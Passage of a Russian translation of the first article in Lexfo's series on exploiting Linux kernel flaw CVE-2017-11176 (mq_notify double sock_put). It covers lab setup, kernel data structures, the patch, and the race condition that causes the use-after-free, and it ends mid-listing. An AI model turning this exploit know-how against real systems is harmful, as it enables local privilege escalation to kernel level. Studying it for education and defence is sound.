Автор: Lexfo
Введение
В этой серии статей будет детально рассмотрен процесс разработки
эксплоита для ядра в Linux на основе
описания из CVE. Начнем с
анализа патча, чтобы понять суть и механику воспроизведения уязвимости на
уровне ядра (часть 1), затем напишем концептуальный код (часть 2). Далее в
концептуальной версии появится примитив произвольного вызова (часть 3), который
будет использован для запуска любого кода в нулевом кольце (часть 4).
Этот цикл в основном ориентирован на начинающих разработчиков,
поскольку в большинстве статей, посвященных разработке эксплоитов уровня ядра,
подразумевается, что читатель уже в теме. Мы же начнем с самых азов и
рассмотрим основные структуры данных и важные участки кода ядра. После
ознакомления со всем циклом подразумевается, что вы сможете досконально разобраться с эксплоитом, включая то, как влияет
каждая строка кода на ядро.
Несмотря на то, что в одной статье невозможно объять необъятное,
мы попытаемся рассмотреть все аспекты ядра, которые нужно понимать при
разработке эксплоита. Рассматривайте это руководство как путеводитель по ядру в
Linux, сопровождаемый практическим
примером. Написание эксплоитов дает хорошее понимание схемы функционирования
ядра. Кроме того, мы рассмотрим различные отладочные техники, инструменты,
наиболее распространенные подводные камни и методы решения возникающих проблем.
Уязвимость CVE‑2017‑11176,
именуемая также «mq_notify: double sock_put()», исправлена в большинстве
дистрибутивов в середине 2017 года. На момент написания статьи публичных
эксплоитов, написанных на базе этой бреши, обнаружено не было.
В этом цикле рассматривается ядро версии 2.6.32.x, однако
уязвимость присутствует во всех ядрах вплоть до версии 4.11.9. С одной стороны,
рассматриваемая версия ядра достаточно старая, с другой – используется во
множестве систем, а рассматриваемый код более легок для понимания. Думаю, что
вам не составит большого труда найти эквивалентные участки кода в более новых ядрах.
Эксплоит, рассматриваемый в этой серии, не является универсальным.
То есть, вполне вероятно, потребуются модификации для конкретно вашего случая
(смещения структур/компоновка, гаджеты, адреса функций и так далее). Крайне не рекомендуется
запускать эксплоит «как есть», поскольку, скорее всего, в вашей системе возникнет
крах. Финальную версию эксплоита можно скачать здесь.
Кроме того, рекомендуется скачать исходник уязвимого ядра и параллельно
просматривать соответствующие участки кода (или еще лучше сразу же разрабатывать
эксплоит) во время чтения. В общем, запускайте свою любимую утилиту для
навигации по коду, и мы начинаем.
Предупреждение: Не
пугайтесь столь большому объему статей из этой серии. Помимо текста будет много
кода. Более того, если вы хотите разобраться в тематике, связанной с
исследованием ядра, вам все равно придется изучать много кода и документацию.
Так что, привыкайте.
Рекомендуемая
литература
В этой статье рассматривается лишь небольшая часть ядра. Если вы
хотите более подробно ознакомиться с этой тематикой, рекомендуем следующие
прекрасные книги:
·
Understanding
the Linux Kernel (D. P. Bovet, M. Cesati)
·
Understanding
Linux Network Internals (C. Benvenuti)
·
A guide to Kernel Exploitation: Attacking the Core (E. Perla, M. Oldani)
·
Linux Device
Drivers (J. Corbet, A. Rubini, G. Kroah‑Hartman)
Настройка
тестовой среды
Как говорилось выше, в статье рассматривается ядро 2.6.32.x, хотя
вы можете попробовать реализовать эксплоит для дистрибутива, указанного ниже. В
коде могут быть небольшие изменения, которые не должны привести к блокировкам.
Debian
8.6.0 (amd64) ISO
Этот ISO-образ работает
на базе ядра 3.16.0. Мы лишь удостоверились, что уязвимость существует и
приводит к краху ядра. Большинство изменений появятся на последних стадиях
разработки эксплоита, которые рассматривается в 3 и 4 части данного цикла.
Рассматриваемую брешь можно эксплуатировать в различных
конфигурациях и архитектурах, хотя есть условия, которые должны быть
обязательно:
Ядро должно
быть версии более ранней, чем 4.11.9 (мы рекомендуем < 4.x).
Ядро должно
работать на архитектуре «amd64» (x86‑64).
Для проведения отладки у вас должны быть права
суперпользователя.
Ядро использует аллокатор SLAB.
Соответственно, в параметре CONFIG_SLAB (grep «CONFIG_SLAB»
/boot/config‑$(uname ‑r)) должно быть установлено значение y.
SMEP должен
быть включен (grep “smep” /proc/cpuinfo)
kASLR и SMAP
должны быть отключены.
Количество процессоров может быть любым.
Одного достаточно. Почему – поймете позже.
Стандартная конфигурация ISO-образа,
упомянутого выше, удовлетворяет всем вышеуказанным требованиям.
Предупреждение: Чтобы
облегчить отладку, пользуйтесь приложениями для виртуализации. Поскольку в VirtualBox не было поддержки SMEP, вы можете
воспользоваться бесплатной версией Vmware или
аналогами, где поддерживается SMEP (мы не будем касаться этой темы).
Как только система подготовлена к работе, нужно скачать исходники
ядра. Как указано в документации,
используем следующую команду:
sudo
apt install build-essential
linux-source bc
kmod cpio flex cpio
libncurses5-dev
Исходники должны находиться в /usr/src/linux‑source‑3.16.tar.xz.
Вам потребуется приложение для навигации внутри кода. Особенно важно уметь
отслеживать перекрестные ссылки символов. В Линуксе миллиарды строк кода, и,
как вы понимаете, потеряться проще простого.
Многие разработчики ядра используют утилиту cscope. Вы можете сгенерировать
перекрестные ссылки, как указано в этой статье,
или при помощи следующей команды:
cscope –kqRubv
Параметр ‑k исключает
заголовки системной библиотеки, поскольку ядро работает в режиме freestanding. Создание
базы данных в cscope занимает около 5 минут, после чего вы можете пользоваться
текстовым редактором (например, vim, emacs), у которого есть соответствующий
плагин.
Поскольку ядро будет часто «падать»,
анализ кода и разработка эксплоита делаются на хосте. В целевой системе будет
проводиться только компиляция и запуск эксплоита (через ssh). Более того, потребуется быстрая
перенастройка среды после краха. Рекомендуем ознакомиться с утилитой rsshf и написать
Make-файлы.
Теперь, надеемся, у вас все готово для разработки первого
эксплоита.
Основные
понятия
Чтобы не потеряться во время анализа CVE, рассмотрим базовые концепции ядра. С целью упрощения задачи
большинство структур будут показаны в неполном виде.
Дескриптор
процесса (task_struct) и макрос current
Одна из важнейших и, к тому же, не самая простая структура ядра —
task_struct. У каждой задачи есть объект task_struct, находящийся в памяти. Любой
пользовательский процесс состоит как минимум из одной задачи. В многопоточном
приложении для каждого потока свой объект task_struct. У потоков ядра также
есть свои собственные объекты task_struct (например, kworker и migration).
task_struct
содержит критически важную информацию, как, например:
// [include/linux/sched.h]
struct task_struct
{
volatile long state;
// process state (running,
stopped, …)
void *stack;
// task’s stack pointer
int prio; //
process priority
struct mm_struct *mm; // memory address space
struct files_struct *files; // open file information
const struct cred *cred;
// credentials
// …
};
Обращение к текущей работающей задаче настолько популярная
операция, что для получения указателя на эту задачу существует специальный
макрос с именем current.
Файловый
дескриптор, файловый объект и таблица файловых дескрипторов
Многие из вас знакомы с фразой «все есть файл». Попробуем
разобраться, что это изречение означает
на самом деле.
В ядре Линукса предусмотрено семь типов файлов: обычный,
директория, ссылка, символьное устройство, блочное устройство, фифо и сокет.
Каждый из этих файлов может быть представлен файловым дескриптором, представляющим
собой целое число и имеющим значение только для указанного процесса. С каждым
дескриптором связана структура file.
Структура file
(или
объект file) представляет собой открытый файл,
который не обязательно должен храниться на диске. Схожим образом устроены
псевдо-файловые системы, как, например, /proc. Во время чтения файла системе может требоваться отслеживание
курсора. Подобного рода информация хранится в структуре file. Указатели на структуры file часто именуются как filp (file pointer).
Наиболее важные поля структуры file:
// [include/linux/fs.h]
struct file
{
loff_t f_pos; // «cursor» while reading file
atomic_long_t f_count; // object’s reference counter
const struct file_operations *f_op;
// virtual function table
(VFT) pointer
void *private_data;
// used by file
«specialization»
//
…
};
Связь между файловым дескриптором и указателем на структуру file отражается в таблице файловых дескрипторов
(file descriptor table; fdt). Обратите внимание, что эта связь не 1 к 1. То
есть, несколько файловых дескрипторов могут указывать на один и тот же файловый
объект. В этом случае в файловом объекте предусмотрен счетчик ссылок, который
увеличивается на единицу. Таблица FDT хранится
в структуре fdtable, представляющей собой массив указателей на структуру file, который может индексироваться файловым
дескриптором.
// [include/linux/fdtable.h]
struct fdtable
{
unsigned int max_fds;
struct file **
fd; /* current fd array */
//
…
};
Структура files_struct связывает таблицу файловых дескрипторов и
процесс. Сразу же возникает вопрос, почему бы напрямую не встроить структуру
fdtable непосредственно в структуру task_struct. Причина присутствия
промежуточного звена в виде структуры files_struct в том, что в структуре
fdtable хранится дополнительная информация (например, битовая маска close_on_exec и др.). Структура files_struct также может
совместно использоваться разными потоками (или объектами task_struct). Кроме
того, используются некоторые трюки, связанные с оптимизацией.
//
[include/linux/fdtable.h]
struct files_struct
{
atomic_t count; // reference counter
struct fdtable *fdt; // pointer to the file descriptor table
//
…
};
Указатель на структуру files_struct хранится в поле files
структуры task_struct.
Таблица
виртуальных функций (VFT)
Даже несмотря на то, что большая часть кода написана на C, ядро в Линуксе остается
объектно-ориентированным.
Один из способов сохранения универсальности – использовать таблицу виртуальных функций, которая в
основном состоит из указателей на функции.
Наиболее известная таблица виртуальных функций – структура
file_operations:
// [include/linux/fs.h]
struct file_operations
{
ssize_t (*read) (struct file
*, char
__user *, size_t, loff_t *);
ssize_t (*write) (struct file
*, const
char __user *,
size_t, loff_t *);
int (*open) (struct inode
*, struct
file *);
int (*release) (struct inode
*, struct
file *);
//
…
};
Поскольку, как вы уже знаете, «все есть файлы», но разных типов,
для каждого типа предусмотрены разные файловые операции, обычно называемые f_op.
Подобная схема позволяет ядру обрабатывает файлы независимо от типа и сделать
код более удобочитаемым, как показано в примере ниже:
if (file->f_op->read)
ret =
file->f_op->read(file, buf, count, pos);
Структуры socket, sock
и SKB
Структура socket находится
на верхнем уровне сетевого стека. Если смотреть с точки зрения файла, структура
socket – первый уровень специализации. Во
время создания сокета (при помощи системного вызова socket()) создается новая
структура, и файловой операции (поле f_op) присваивается значение socket_file_ops.
Поскольку каждый файл представлен файловым дескриптором, вы можете
использовать любой системный вызов, принимающий в качестве аргумента файловый
дескриптор, (read(), write(), close()) с файловым дескриптором сокета. Теперь
стало понятно главное преимущества идеологии «все есть файл». Вне зависимости
от типа ядро выполняет стандартную операцию над файлом сокета:
// [net/socket.c]
static const struct file_operations socket_file_ops = {
.read = sock_aio_read,
// <—- calls
sock->ops->recvmsg()
.write = sock_aio_write,
// <—- calls
sock->ops->sendmsg()
.llseek = no_llseek,
// <—- returns an error
//
…
}
Поскольку в структуре socket
реализован
набор функций для BSD-сокета
(connect(), bind(), accept(), listen(), …) туда же встроена специальная
таблица виртуальных функций, представляющей собой структуру proto_ops. Для
каждого типа сокета (например, AF_INET, AF_NETLINK) предусмотрена своя структура proto_ops.
// [include/linux/net.h]
struct proto_ops
{
int (*bind) (struct socket
*sock, struct
sockaddr *myaddr, int
sockaddr_len);
int (*connect) (struct socket
*sock, struct
sockaddr *vaddr, int
sockaddr_len, int flags);
int (*accept) (struct socket
*sock, struct
socket *newsock, int
flags);
//
…
}
При запуске системного BSD-вызова
(например, bind()), ядро
отрабатывает следующий сценарий:
1.
Извлекает структуру file из таблицы файловых дескрипторов.
2.
Извлекает структуру socket из структуры file.
3.
Выполняет обратные вызовы из структуры
proto_ops (например, sock‑>ops‑>bind()).
Поскольку во время некоторых операций в протоколах (например,
связанные с отправкой/получением данных) может потребоваться необходимость в
переходе на более низкий уровень сетевого стека, в структуре socket хранится указатель на структуру sock. Этот указатель в основном используется в
операциях, связанных с протоколом сокета (proto_ops). Структура socket в некотором роде является связующим звеном
между структурой file и
структурой sock.
// [include/linux/net.h]
struct socket
{
struct file *file;
struct sock *sk;
const struct proto_ops *ops;
//
…
};
Структура sock
представляет собой комплексную структуру данных. Можно сказать, что эта
структура – нечто среднее между нижним уровнем (драйвером сетевой карты) и
верхним уровнем (сокетом). Главное назначение этой структуры – возможность хранения
буферов приема/отправки стандартным образом.
Когда пакет принимается через сетевую карту, драйвер ставит этот
сетевой пакет в очередь в буфере приема структуры sock. Этот пакет находится в буфере то тех пор, пока от программы не
поступит команда на получение (системный вызов recvmsg()). С другой стороны,
когда программа хочет отправить данные (системный вызов sendmsg()) сетевой
пакет ставится в очередь в буфере отправки структуры sock. После уведомления, сетевая карта вынимает пакет из очереди и
выполняет отправку.
Эти «сетевые пакеты» описываются структурой sk_buff (или skb). Буферы, используемые для приема/отправки,
представляют собой дважды связанные списки структуры skb:
// [include/linux/sock.h]
struct sock {
int sk_rcvbuf; // theorical «max» size of the
receive buffer
int sk_sndbuf; // theorical «max» size of the
send buffer
atomic_t sk_rmem_alloc; // «current» size
of the receive buffer
atomic_t sk_wmem_alloc; // «current» size
of the send buffer
struct sk_buff_head
sk_receive_queue; // head of doubly-linked list
struct sk_buff_head sk_write_queue;
// head
of doubly-linked list
struct socket *sk_socket;
// …
}
Как показано выше, структура sock указывает на структуру socket через
поле sk_socket, а структура socket указывает
на структуру sock через
поле sk. Тем же самым образом, структура socket указывает на структуру file через поле file, а структура file указывает
на структуру socket через
поле private_data. Этот двунаправленный механизм позволяет информации перемещаться
вверх и вниз по сетевому стеку.
Примечание:
Старайтесь не путать! Объекты структуры sock часто называют sk, а
объекты структуры socket часто
называют sock.
Сокеты
семейства Netlink
Netlink-сокет
является типом (или семейством) сокетов, как, например, сокеты семейства UNIX или INET.
Netlink-сокет (AF_NETLINK) позволяет общаться между пространством
пользователя и ядра. Кроме того, этот сокет можно использовать для модификации
таблицы маршрутизации (протокол NETLINK_ROUTE), для получения уведомлений о событиях
SELinux (NETLINK_SELINUX) и даже для коммуникации с другими пользовательскими
процессами (NETLINK_USERSOCK).
Поскольку структуры sock и socket являются универсальными и могут
хранить информацию различных сокетов, необходимо сделать «специализацию» в
некотором роде.
С точки зрения структуры socket нужно
определить поле proto_ops. Для сокетов семейства Netlink (AF_NETLINK) операции BSD-сокетов
именуются как netlink_ops:
// [net/netlink/af_netlink.c]
static const struct proto_ops netlink_ops = {
.bind = netlink_bind,
.accept = sock_no_accept,
// <— calling accept()
on netlink sockets leads to EOPNOT
SUPP error
.sendmsg = netlink_sendmsg,
.recvmsg = netlink_recvmsg,
//
…
}
С точки зрения структуры sock ситуация
немного сложнее. Можно представить, что структура sock является абстрактным классом, который нужно определить. В случае
с сокетами семейства Netlink
мы
имеем дело со структурой netlink_sock:
// [include/net/netlink_sock.h]
struct netlink_sock {
/* struct sock has to be the first
member of netlink_sock */
struct sock sk;
u32 pid;
u32 dst_pid;
u32 dst_group;
// …
};
Другими словами, netlink_sock представляет собой структуру sock с дополнительными атрибутами (то есть
произошло наследование).
Самый верхний комментарий в структуре, показанной выше,
чрезвычайно важен. Ядро может манипулировать базовой структурой sock без знания точного типа. Здесь возникает еще
одно преимущество: псевдонимы адресов &netlink_sock.sk и &netlink_sock.
Соответственно, освобождение указателя &netlink_sock.sk влечет за собой
освобождение всего объекта netlink_sock. С точки зрения теории языков именно
таким образом в ядре реализован типичный полиморфизм даже несмотря на то, что в
языке С подобная возможность не предусмотрена. Тогда логику жизненного цикла
объекта netlink_sock можно хранить в обобщенном, хорошо оттестированном коде.
Собираем
все воедино
После того как мы изучили базовые структуры данных, разместим все
рассмотренные элементы на одной диаграмме.
Рисунок
1: Взаимосвязи между базовыми структурами данных ядра
Примечание: каждая
стрелка представляет собой указатель. Ни одна линия не пересекает другую.
Структура sock встроена
внутрь структуры netlink_sock.
Счетчики
ссылок
Завершая ознакомление с базовыми концепциями ядра, нельзя не
упомянуть, как происходит обработка счетчиков
ссылок.
Чтобы уменьшить утечки памяти в ядре и предотвратить уязвимости use-after-free (использование после освобождения) в
большинстве структур данных Линукса используется счетчик ссылок целочисленного
типа atomic_t. Манипуляции со счетчиком могут выполняться только атомарными
(элементарными) операциями, как, например:
atomic_inc()
atomic_add()
atomic_dec_and_test() // вычесть
1 и проверить, равно ли получившееся значение нулю
Поскольку «умный счетчик» (или перегрузка оператора) отсутствует,
счетчик ссылок обрабатывается разработчиками вручную. То есть, когда на объект
начинает ссылаться другой объект, счетчик ссылок первого объекта должен
увеличиться. Когда ссылка исчезает, соответственно, счетчик ссылок должен
уменьшиться. Как правило, объект высвобождается после того, как счетчик ссылок
становится равным нулю.
Примечание:
увеличение счетчика обычно называют «взять ссылку», уменьшение – «освободить
ссылку».
Однако если в какой-либо момент времени равновесие нарушится
(например, добавится одна ссылка и освободится две), существует риск нарушение
целостности памяти:
Если счетчик ссылок уменьшился дважды:
возникнет проблема use-after-free
Если счетчик ссылок увеличился дважды:
возникнет утечка памяти или переполнение целочисленного типа, что приведет к проблеме
use-after-free
В ядре предусмотрено несколько механизмов (kref, kobject) для
обработки счетчиков ссылок с общим интерфейсом. Однако эти средства
используются не систематически, и те объекты, с которыми мы будем работать,
имеют свои собственные обработчики счетчиков ссылок. В целом, увеличение
счетчика (взятие ссылки), как правило, выполняется функциями «*_get()»,
уменьшение счетчика (освобождение ссылки) выполняется функциями «*_put()».
Те структуры, которые мы рассматривали выше, имеют свои
обработчики с различными именами:
Структура sock: sock_hold(), sock_put()
Структура file: fget(), fput()
Структура files_struct: get_files_struct(), put_files_struct()
…
Предупреждение: может
возникнуть еще больший конфуз. Например, функция skb_put() не уменьшает ни один счетчик, а помещает данные в буфер sk! Никогда не полагайтесь исключительно на имя
функции.
Теперь, когда мы рассмотрели все базовые структуры данных, имеющие
отношение к уязвимости, переходим к анализу описания CVE.
Краткий
анализ описания уязвимости
Перед анализом уязвимости рассмотрим главное предназначение
системного вызова mq_notify(). Как указано в справке, вызовы с префиксом «mq_*»
предназначены для работы с очередями сообщений стандарта POSIX и идут в качестве замены обработчиков
очередей сообщений в системах System V. Выдержка из документации:
Очереди POSIX-сообщений позволяют процессам обмениваться
информацией в форме сообщений. Этот API
отличается от того, что есть в System V (msgget(2), msgsnd(2), msgrcv(2) и т.
д), но имеет схожую функциональность.
Сам по себе системный вызов mq_notify() используется для
регистрации/отмены регистрации асинхронных уведомлений. Выдержка из
документации:
mq_notify()
позволяет вызывающему процессу зарегистрировать или отменить регистрацию на
доставку асинхронного уведомления, когда новое сообщение поступает в пустую
очередь, на которую ссылается дескриптор mqdes.
При изучении CVE всегда
полезно начать с описания и патча, исправляющего уязвимость.
Функция
mq_notify в ядре вплоть до версии 4.11.9 не устанавливает значение NULL в указатель структуры sock по факту начала отработки логики повторения
(кода, который идет после метки retry). Во
время закрытия Netlink-сокета в
пространстве пользователя злоумышленник может спровоцировать отказ в
обслуживании (use‑after‑free) или другие
непредсказуемые последствия (возможно, повысить привилегии в нулевом кольце).
Патч доступен здесь:
diff —git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
— a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:
timeo =
MAX_SCHEDULE_TIMEOUT;
ret =
netlink_attachskb(sock, nc, &timeo, NULL);
— if
(ret == 1)
+ if
(ret == 1) {
+ sock
= NULL;
goto retry;
+ }
if (ret) {
sock = NULL;
nc = NULL;
Патч занимает всего одну строку! Ничего сложного.
В описании патча есть много полезной информации, касающейся сути
уязвимости:
mqueue:
исправлена ошибка use-after-free
в функции sys_mq_notify()
Логика
повторения для функции netlink_attachskb() внутри sys_mq_notify() является ужасной
и уязвимой.
Счетчик
ссылок в структуре sock
уменьшается до того, когда требуется
повторение.
Файловый
дескриптор контролируется из пространства пользователя, поскольку мы уже
уменьшили счетчик ссылок в структуре file.
Таким
образом, далее начинает отрабатываться повтор, но файловый дескриптор уже
закрыт из пространства пользователя во время этого небольшого промежутка
времени. В итоге функция netlink_detachskb() отрабатывается по ошибочному
сценарию, и структура sock
освобождается еще раз. Затем этот сокет закрывается из пространства
пользователя, что может повлечь за собой возникновение уязвимости
use-after-free.
После
установки NULL в
структуру sock проблема
должна разрешиться.
В описании патча есть только одна
ошибка: «во время этого небольшого промежутка времени». Уязвимость
оказалась с изюминкой, и далее мы увидим, что этот промежуток времени можно
увеличить хоть до бесконечности при помощи стабильного и надежного метода
(подробнее во второй части).
Суть
уязвимости
В описании патча есть много полезной информации:
язвимый код находится в системном вызове
mq_notify.
Есть нечто ошибочное в логике повторения.
Есть нечто ошибочное в подсчете ссылок в
структуре sock, что
приводит к ошибке use‑after‑free.
Есть нечто ошибочное, имеющее отношение к состоянию
гонки, связанное с закрытым файловым дескриптором.
Уязвимый
код
Рассмотрим реализацию системного вызова mq_notify(), особенно ту
часть, которая связана с логикой повторения (метка retry), а также участок, где происходит завершение программы (метка out):
// from [ipc/mqueue.c]
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const struct sigevent __user *, u_notification)
{
int ret;
struct file *filp;
struct sock *sock;
struct sigevent notification;
struct sk_buff *nc;
// … cut (copy userland
data to kernel + skb allocation) …
sock = NULL;
retry:
[0] filp
= fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
[1] goto out;
}
[2a] sock
= netlink_getsockbyfilp(filp);
[2b] fput(filp);
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
[3] goto out;
}
timeo
= MAX_SCHEDULE_TIMEOUT;
[4] ret
= netlink_attachskb(sock, nc, &timeo, NULL);
if (ret == 1)
[5a] goto retry;
if (ret) {
sock = NULL;
nc = NULL;
[5b] goto out;
}
[5c] // … cut (normal path) …
out:
if (sock) {
netlink_detachskb(sock, nc);
} else if (nc) {
dev_kfree_skb(nc);
}
return ret;
}
В коде выше вначале происходит взятие ссылки на объект структуры file на базе файлового дескриптора из пространства
пользователя [0]. Если в таблице файловых дескрипторов текущего процесса такого
дескриптора не существует, возвращается пустой указатель и выполнение кода
переходит к метке out [1].
Иначе берется ссылка на объект структуры sock, связанной с тем файлом [2a]. Если корректного объекта структуры sock не существует, указатель на структуру sock сбрасывается в значение NULL, и код переходит к метке out [3]. В обоих случаях, предыдущая ссылка на
структуру file освобождается
[2b] (то есть уменьшается счетчик ссылок).
В конце вызов функции netlink_attachskb() [4] пытается поставить структуру
sk_buff (nc) в очередь на прием структуры sock. Теперь возможно три сценария:
1.
Все пройдет хорошо, и код продолжит отработку
по стандартному сценарию [5c].
2.
Функция netlink_attachskb() возвратит 1. В
этом случае произойдет переход к метке retry [5a], и начнется отработка логики повторения.
3.
В оба объекта будет установлено значение NULL, и произойдет переход к метке out [5b].
Почему нужно
присваивать NULL объекту sock?
Чтобы ответить на этот вопрос, рассмотрим, что произойдет, если не
присвоить объекту sock значение NULL. Ответ:
out:
if (sock) {
netlink_detachskb(sock, nc); // <—— here
}
// from [net/netlink/af_netlink.c]
void netlink_detachskb(struct sock *sk, struct sk_buff *skb)
{
kfree_skb(skb);
sock_put(sk); // <—— here
}
// from [include/net/sock.h]
/* Ungrab socket and destroy it if it
was the last reference. */
static inline void sock_put(struct sock *sk)
{
if (atomic_dec_and_test(&sk->sk_refcnt)) // <—— here
sk_free(sk);
}
Другими словами, если sock не будет
равен NULL во время перехода к метке out, счетчик
ссылок sk_refcnt структуры sock будет
обязательно уменьшен на 1.
Как указано в описании патча, существует проблема с подсчетом
ссылок в объекте sock. Здесь
возникает еще один вопрос о том, где счетчик ссылок изначально увеличивается.
Если мы посмотрим на код функции netlink_getsockbyfilp(), вызываемой в строке
[2a] (см. предыдущий листинг), то увидим следующее:
// from [net/netlink/af_netlink.c]
struct sock *netlink_getsockbyfilp(struct file *filp)
{
struct inode *inode = filp->f_path.dentry->d_inode;
struct sock *sock;
if (!S_ISSOCK(inode->i_mode))
return ERR_PTR(-ENOTSOCK);
sock = SOCKET_I(inode)->sk;
if (sock->sk_family != AF_NETLINK)
return ERR_PTR(-EINVAL);
[0] sock_hold(sock);
//
<—— here
return sock;
}
Таким образом, счетчик ссылок объекта sock увеличивается в строке [0] и на самом раннем этапе логики
повторения.
Поскольку счетчик увеличивается безусловно функцией
netlink_getsockbyfilp() и уменьшается функцией netlink_detachskb() (если объект
sock не равен NULL), на первый взгляд кажется, что функция netlink_attachskb() никак
не должна влиять на счетчик ссылок.
Рассмотрим упрощенную версию функции netlink_attachskb():
// from [net/netlink/af_netlink.c]
/*
* Attach a skb to a netlink socket.
* The caller must hold a reference to
the destination socket. On error, the
* reference is dropped. The skb is not
sent to the destination, just all
* all error checks are performed and
memory in the queue is reserved.
* Return values:
* < 0: error. skb freed, reference to
sock dropped.
* 0: continue
* 1: repeat lookup — reference dropped
while waiting for socket memory.
*/
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
// … cut (wait until some
conditions) …
sock_put(sk); // <—— refcnt
decremented here
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo); // <—— «error» path
}
return 1; // <—— «retry» path
}
skb_set_owner_r(skb, sk); // <——
«normal» path
return 0;
}
В функции netlink_attachskb() возможны две ветви выполнения:
Обычный сценарий: владельцем объекта skb становится структура sock (то есть происходит установка в очередь приема внутри структуры sock).
Буфер приема сокета полный: тогда происходит
ожидание до тех пор, пока место не освободится и отработается логика повторения,
или выполнение завершится с ошибкой.
В начале комментария функции, показанной выше, сказано следующее:
«В вызывающей функции должна быть ссылка на целевой сокет. В случае ошибки ссылка освобождается. Получается, что
netlink_attachskb() влияет на счетчик ссылок структуры sock!
Поскольку netlink_attachskb() может освободить (уменьшить) счетчик
ссылок, который был равен единице в netlink_getsockbyfilp(), получается, что в
вызывающей функции счетчик не должен
уменьшаться во второй раз, что и достигается присвоением объекту sock значения NULL! Эта задача решается корректно во время «ошибки» (когда функция
netlink_attachskb() возвращает отрицательное значение). Однако когда
netlink_attachskb() возвращает 1, и мы имеет дело с логикой повторения,
возникает нестыковка. Именно эта логика и заложена в основу патча.
Теперь мы знаем, что не так со счетчиком ссылок структуры sock, а конкретно – при определенных условиях
происходит уменьшение во второй раз. Кроме того, в логике повторения не
происходит обнуление объекта sock.
Что насчет
«состояния гонки»?
В патче упоминается о «маленьком промежутке» (то есть, состоянии
гонки), имеющем отношение к закрытию файлового дескриптора. Почему?
Смотрим в самое начало кода логики повторения:
sock
= NULL; // <—— first loop
only
retry:
filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out; // <—— what about this?
}
sock = netlink_getsockbyfilp(filp);
Во время первого прохода участок кода, отвечающий за обработку
ошибок, может выглядеть корректно. Однако не забывайте, что во время второго
прохода (то есть после «goto
retry») структура sock уже не
пустая (и счетчик ссылок уже уменьшен). Таким образом, происходит
переход к метке out и
соответствие первому условию:
out:
if (sock) {
netlink_detachskb(sock, nc);
}
То есть счетчик ссылок структуры sock уменьшается во второй раз! Получаем
уязвимость double sock_put().
Может возникнуть вопрос, почему мы попадаем внутрь условия (когда fget() возвращает NULL) во время второго прохода, но не во время первого. Этот аспект
уязвимости связан с состоянием гонки. Далее мы рассмотрим, как добиться
выполнения этого условия.
Сценарий
атаки
Полагая, что файловый дескриптор может совместно использоваться
двумя потоками, рассмотрим следующую схему:
Рисунок
2: Последовательность событий в двух потоках
В системной вызове close(TARGET_FD) выполняется функция fput(), которая уменьшает счетчик ссылок структуры
file на единицу, и удаляется привязка
между указанным файловым дескриптором (TARGET_FD) и связанным файлом. Таким
образом, происходит присвоение элементу таблицы fdt[TARGET_FD] значение NULL. Поскольку вызов close(TARGET_FD) освобождает
последнюю ссылку связанной структуры file,
структура также полностью освобождается.
Поскольку структура file
освободилась, обрывается ссылка со связанной структурой sock (то есть счетчик ссылок будет уменьшен на
единицу). Поскольку счетчик ссылок структуры sock становится равным 0, то структура тоже освобождается. В этот
момент указатель структуры sock
становится висячим, поскольку не было присвоено значение NULL.
Второй вызов функции fget
завершится
неудачно (поскольку файловый дескриптор не указывает на какую-либо корректную
структуру file в таблице
FDT), и произойдет переход к метке «out». Соответственно, функция netlink_detachskb()
будет вызвана с указателем на освобожденный объект, и возникнет проблема use-after-free!
Повторимся, что здесь use-after-free является
следствием, но не уязвимостью.
В патче неслучайно упомянут «закрытый файловый дескриптор»,
поскольку необходимо конкретное условие,
чтобы возникла эта ошибка. А так как функция close() вызывается только в определенный момент в другом потоке, этот прецедент
называется «гонкой».
Теперь мы поняли суть и условия воспроизведения уязвимости. Нужно,
чтобы возникло два условия:
В первом проходе логики повторения (код метки retry) функция netlink_attachskb() должна вернуть
1.
Во втором проходе логики повторения функция fget() должна вернуть NULL.
Другими словами, когда мы возвращаемся из системного вызова
mq_notify(), счетчик ссылок структуры sock
оказывается уменьшенным на единицу, и у нас получается дисбаланс. Поскольку
перед началом отработки mq_notify() счетчик ссылок структуры sock был установлен в единицу, этот счетчик
используется после освобождения к концу системного вызова (в функции
netlink_detachskb()).
Отработка
логики повторения
В предыдущем разделе мы проанализировали уязвимость и наметили
сценарий атаки для активации этой бреши. В этом разделе рассмотрим, как можно
добраться до уязвимого кода, находящегося после метки retry) и начнем кодить
эксплоит.
Прежде чем реализовывать что-либо, нужно проверить, возможна ли
вообще эксплуатация этой уязвимости. Если мы не сможем добраться до уязвимого
кода (например, из-за различных проверок на безопасность), то дальше продолжать
смысла не имеет.
Анализ
кода перед меткой retry
Как и большинство системных вызовов, вначале mq_notify копирует
данные из пространства пользователя при помощи функции copy_from_user().
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const
struct sigevent
__user *, u_notification)
{
int ret;
struct file *filp;
struct sock *sock;
struct inode *inode;
struct sigevent notification;
struct mqueue_inode_info *info;
struct sk_buff *nc;
[0] if (u_notification) {
[1] if (copy_from_user(¬ification, u_notification,
sizeof(struct sigevent)))
return -EFAULT;
}
audit_mq_notify(mqdes,
u_notification ?
¬ification
: NULL); // <— you can ignore this
В строке [0] проверяется, что аргумент u_notification, переданный
из пространства пользователя, не равен NULL. В строке [1] происходит создание
локальной копии аргумента u_notification в памяти ядра (notification).
Далее идет серия проверок с использованием элементов структуры
sigevent из пространства пользователя.
nc = NULL;
sock = NULL;
[2] if (u_notification != NULL) {
[3a] if (unlikely(notification.sigev_notify
!= SIGEV_NONE &&
notification.sigev_notify != SIGEV_SIGNAL &&
notification.sigev_notify != SIGEV_THREAD))
return -EINVAL;
[3b] if (notification.sigev_notify == SIGEV_SIGNAL &&
!valid_signal(notification.sigev_signo))
{
return -EINVAL;
}
[3c] if (notification.sigev_notify == SIGEV_THREAD) {
long timeo;
/* create the notify skb */
nc = alloc_skb(NOTIFY_COOKIE_LEN,
GFP_KERNEL);
